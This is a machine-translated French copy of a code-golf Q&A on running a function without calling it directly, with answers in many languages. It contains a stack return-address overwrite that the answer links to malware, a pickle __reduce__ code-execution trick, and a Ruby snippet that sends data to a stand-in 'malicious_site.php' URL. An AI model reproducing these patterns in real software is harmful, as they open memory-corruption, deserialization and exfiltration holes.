Appeler une méthode sans l'appeler [fermé]


77

Inspiré par une question StackOverflow maintenant supprimée . Pouvez-vous trouver un moyen d’exécuter une méthode particulière sans l’appeler explicitement? Plus c'est indirect, mieux c'est.

Voici ce que je veux dire exactement (C utilisé uniquement à des fins d’exemplification, toutes les langues acceptées):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Question originale: entrez la description de l'image ici


58
+10471 ... nice
qwr

29
Je me demande combien de reps vous avez besoin pour déborder de la pile?
PyRulez

34
Apparemment, ceci est une capture d'écran du compte de @Mysticial , qui affiche l'avatar. Mysticial, pourriez-vous s'il vous plaît simplement cliquer sur votre onglet représentant?!?!?!
Poignée de porte

4
@Doorknob Pourquoi devrait-il? Tout vient d'une réponse.
FDinoff

8
@PyRulez Jon Skeet n'a pas encore, alors nous sommes en sécurité pour le moment .
Cole Johnson

Réponses:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

Lorsqu'il est compilé avec GCC, le compilateur remplace printf("Goodbye!\n")par puts("Goodbye!"), ce qui est plus simple et supposé être équivalent. J'ai fourni sournoisement ma putsfonction personnalisée , de sorte que celle-ci soit appelée à la place.


1
@ user17752 Il s'agit en réalité d'une transformation effectuée par GCC, même à -O0. (GCC 4.8, de toute façon. Peut-être que d'autres versions ont besoin d'autres options.)
hvd

1
désolé, mon erreur, j'ai oublié que j'utilisais Clang sur mon MacBook.
DarkHeart

@ user17752 Merci, je n'avais pas testé avec d'autres compilateurs, ce qui est bien de savoir que clang a au moins une option pour obtenir la même transformation.
hvd

Félicitation! Un gagnant est vous!

84

Comment un logiciel malveillant peut-il exécuter des fonctions qui ne sont pas appelées dans le code? En débordant de tampons!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

Sur mon système, l'adresse de retour de mainse trouve être stockée 3 mots au-dessus de la première variable locale. En brouillant cette adresse de retour avec l'adresse d'une autre fonction, main"retourne" à cette fonction. Si vous souhaitez reproduire ce problème sur un autre système, vous devrez peut-être ajuster 3 sur une autre valeur.


Beat me to it (+1) - c’est la solution évidente de C.
Komintern

20
Utilisez <!-- language: lang-c -->deux lignes avant votre code pour le mettre en évidence.
Victor Stafusa

9
Salut à tous @Victor, héros de la syntaxe!
Jason C

@Victor est-ce officiellement documenté? Si oui où?
Thorbjørn Ravn Andersen


75

Frapper

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
Gestion des exceptions. L'autre méthode appelle!
Phyrfox

56

Python 2

>>> def func(*args):
        print('somebody called me?')

Voici quelques exemples inspirés par les autres réponses:

  1. exécuter le code directement

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    C'est le meilleur moyen de ne pas appeler la fonction.

  2. en utilisant le destructeur

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Utilisation de la std I / O

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. utiliser des recherches d'attributs

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. Le mécanisme d'importation

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Eh bien, je suppose que c'est tout .. Je ne peux rien importer pour le moment. Non attends..

  6. Utiliser les crochets get-item []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Utilisation de variables globales. Mon préféré!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloest un accès à d['hello']. Après cela, le monde semble gris.

  8. Méta classes;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Utilisation d'itérateurs (vous pouvez surcharger n'importe quel opérateur et l'utiliser)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Les erreurs!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. Les cadres vous rappellent. Presque toutes les interfaces graphiques ont cette fonctionnalité.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Exécuter la chaîne source (func doit être dans un fichier)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Décorateurs

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. avec désérialisation des cornichons (moins de favoris à venir)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Utiliser la sérialisation

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Plus de réponses Python:


1
Belle collection, mais vous avez oublié les fils . ;)
nyuszika7h

Cette réponse est absurde. +1
astérii

This is python 3
Braden Best

1
Beaucoup de ces exemples fonctionnent également avec Python 3. La méta-classe et la génération d'exceptions montrées ne fonctionnent pas avec Python 3.
Utilisateur

22

Javascript

Celui-ci utilise JSFuck pour faire le sale boulot.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Je pense que cela constitue un appel de fonction explicite. Juste très obscur.
primo

3
@primo, il va construire une chaîne de javascript à exécuter et acquérir l'objet Function avec lequel l'appeler. Mais pour cela, il utilise des conversions implicites entre les types; eg ""est une chaîne, []évaluée à 0, donc ""[[]]non définie et ""[[]]+"""non définie". De là, vous pouvez extraire des lettres individuelles: (""[[]]+"")[[]]est "u". Donc, cela ressemble plus à un hack pour appeler exec avec du code arbitraire. Je pense que ça compte?
Phil H

1
@PhilH Je comprends comment ça marche. Retirez les deux parenthèses: function anonymous() { x() }.
Primo

22

Python

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Cela définit the_functioncomme fonction de profilage, ce qui entraîne son exécution à chaque appel et retour de fonction.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Est-ce Python?
Hosch250

@ user2509848 Oui, j'ai oublié de le mentionner.
grc

Une réponse non-C! J'adorerais en voir plus: D

@Johnsyweb Veuillez consulter meta.codegolf.stackexchange.com/q/1109/9498 . Il n'est pas nécessaire de modifier chaque publication pour inclure la coloration syntaxique, en particulier si elle affecte à peine l'apparence du code (par exemple, un code abrégé).
Justin

@Quincunx: Reconnu
Johnsyweb

18

C #

Nous pouvons abuser du DLR pour toujours exécuter du code lorsque vous essayez d'appeler une méthode sur une classe. C’est un peu moins cher / évident que des solutions telles que délégués, réflexions, constructeurs statiques, etc., car la méthode en cours d’exécution n’est non seulement jamais invoquée, ni même référencée , pas même par son nom.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Ceci affiche toujours "Ha! Vous a trompé!" peu importe ce que vous essayez d'invoquer a. Donc, je pourrais tout aussi bien écrire a.SuperCaliFragilisticExpiAlidocious()et cela ferait la même chose.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

C'est très direct, mais ce n'est certainement pas un appel à hello_world, même si la fonction est exécutée.


16

Rubis

Inspiré par wat .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

C

Vous pouvez enregistrer une fonction à appeler à la fin du programme en C, si cela répond à vos besoins:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Java

Essayé avec java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

La méthode secretMethodNotCalledInMainest appelée uniquement par réflexion et je ne cherche rien secretMethodNotCalledInMain(mais je cherche quelque chose qui n’est pas appelé main). En outre, la partie réfléchissante du code est appelée en dehors de la mainméthode lorsque le gestionnaire d'exceptions non capturé du JDK entre en jeu.

Voici mes informations JVM:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Voici le résultat de mon programme:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Je ne m'attendais pas à ce que ces NullPointerExceptioncodes soient gérés par le code natif pour gérer la réflexion. Mais, comme mentionné par @ johnchen902, c'est parce qu'il hérite de certaines méthodes de java.lang.Objectet que j'ai fini par les appeler sur nulls.


Ce NPEne sont pas des bogues JDK. Ils sont lancés parce que vous avez essayé d'invoquer des méthodes d'instance déclarées java.lang.Objecttelles que toString()with null.
johnchen902

@ johnchen902 Oh, bien sûr. Je vous remercie. Je l'ai édité.
Victor Stafusa

14

C ++

Une façon en C ++ est dans le constructeur et / ou le destructeur d'un objet statique:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
J'ai aussi pensé à surcharger de nouvelles
versions

Les constructeurs / destructeurs sont-ils considérés comme des "méthodes" en C ++? En .NET et Java, ils sont en réalité un type de membre différent. Vous ne pouvez pas appeler directement un acteur statique, même si vous voulez ...
Aaronaught

@Aaronaught: Rien n'est considéré comme une "méthode" en C ++ (du moins pour quiconque sait de quoi ils parlent). Les constructeurs et les destructeurs sont des fonctions membres. Cependant, ce sont des fonctions membres "spéciales" (par exemple, les constructeurs n’ont pas de nom, vous ne pouvez donc pas les appeler directement).
Jerry Coffin

Eh bien, j'ai utilisé ce terme uniquement parce que le PO l'a fait. Je sais que C / C ++ et presque tous les autres langages non Java / .NET ont des fonctions, pas des méthodes. Mais le point saillant est qu'ils ne peuvent pas être invoqués directement. Vous pourriez peut-être prétendre qu'un technicien est directement appelé avec un constructeur d'instance new. Ce serait donc une réponse intéressante de pouvoir invoquer un constructeur sans new . Mais je ne sais pas, les constructeurs statiques ont l’impression de tricher.
Aaronaught

@Aaronaught Si vous souhaitez appeler un constructeur sur une mémoire déjà allouée, vous pouvez écrire new (p) foo(). Et vous pouvez détruire un objet sans libérer la mémoire via p->~foo().
fredoverflow

12

C: Bonjour tout le monde

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Sortie:

Hello World!

Afin de lier la méthode, nous avons besoin de printf () pour être compilé quelque part dans le programme, mais il n’est pas nécessaire de l’appeler. Les fonctions printf () et main () sont distantes de 276 octets dans le segment de code. Cette valeur changera en fonction du système d'exploitation et du compilateur. Vous pouvez trouver les adresses réelles sur votre système avec ce code, puis les soustraire:

printf("%d %d\n", &printf, &main);

4
L' *avant mainest vraiment déroutant et inutile. mainest une fonction que vous ne pouvez pas déréférencer, elle se décompose donc implicitement en un pointeur de fonction qui est ensuite déréférencé pour produire à nouveau une fonction. Vous ne pouvez pas soustraire un int d'une fonction, il se décompose alors en un pointeur de fonction. Vous pourriez aussi bien écrire (*****main-276);) Vous vouliez probablement écrire (&main-276)ou à la (*(main-276))place.
fredoverflow

6
The * before main is really confusing and unnecessary.- N'est-ce pas généralement une bonne chose sur ce site?
James Webster

J'avais l'impression que la norme disait qu'un programme bien formé ne doit pas être utilisé main, mais ne le trouve pas maintenant ...
Damon

3
vous l'appelez explicitement par référence
masquée

9

C (avec GCC inline asm)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Cela provoquera que du code émis par GCC se retrouve dans un segment différent du fichier objet, ce qui rendra le flux de contrôle «inutilisé» par la fonction. Notez que cela ne fonctionne pas si GCC décide de réorganiser les fonctions, évidemment. Testé avec GCC 3.4.6 sur MirBSD-current / i386, en utilisant -O2. (En outre, il interrompt le débogage, la compilation avec des -gerreurs sur)


8

PHP ≥5.4.0

Cette solution est certes un gâchis horrible, mais elle accomplit la tâche qui lui est confiée (il n’était pas précisé à quel point elle devait bien fonctionner).

La fonction à appeler sans appeler :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

La solution :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Exemple :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Sorties possibles:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Explication :

Lorsqu’il est appelé, executeFunction()lit le contenu du fichier en cours d’exécution (c’est-à-dire qu’il doit uniquement être exécuté à partir de la CLI, comme il l’utilise $argv), analyse les arguments et le corps de la fonction spécifiée, scinde tout dans un nouveau bloc code, eval()tout cela, et retourne le résultat. Le résultat étant qu'il getRandomString()n'est jamais appelé, que ce soit directement ou indirectement, mais le code dans le corps de la fonction est toujours exécuté.


Eh bien, la création de __construct()méthodes compte-t-elle en PHP puisque vous n’appelez jamais la fonction directement, mais utilisez new Something()plutôt?
Damir Kasipovic

@ D.Kasipovic En quelque sorte, on pourrait dire que vous l'invoquez directement, mais d'une manière différente. J'ai choisi l'approche actuelle parce que j'aime penser en dehors de la boîte. J'aurais pu simplement enregistrer la fonction en tant que rappel à register_tick_function(), register_shutdown_function()ou spl_autoload_register()similaire à la réponse Python de @ grc, mais je sens que c'est de la "triche" et une solution de facilité.
Tony Ellis


7

T-SQL

C'est une fonctionnalité intégrée. Des déclencheurs pour la victoire!

Si vous voulez vraiment vous amuser avec cela, créez un ensemble de déclencheurs INSTEAD OF le jour du poisson d’avril.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Résultats:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Très blague. Tel lulz. Sensationnel.

Tinker élargissez-le sur SQLFiddle.


2
Les déclencheurs m'obtiennent toujours, en tant que développeur d'applications, je ne les attends jamais.
Matthieu

7

JavaScript

Dans la console Firefox:

    this.toString = function(){alert('Wow')};

Ensuite, commencez à taper n'importe quoi dans la console - Firefox appelle .toString()plusieurs fois lorsque vous tapez dans la console.

Approche similaire est:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

La plate-forme de choix est Linux. Nous ne pouvons pas appeler notre fonction, nous allons donc laisser notre éditeur de liens le faire à la place:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Comment obtenir l'adresse magique?

Nous nous appuyons sur la spécification Linux Standard Base Core, qui dit:

.fini_array

Cette section contient un tableau de pointeurs de fonction qui contribue à un tableau de terminaison unique pour l'objet exécutable ou partagé contenant la section.

  1. Compilez le code:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Examiner l'adresse de .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Trouvez le VMA de celui-ci:

 but_for_what_reason_exactly:     file format elf64-x86-64
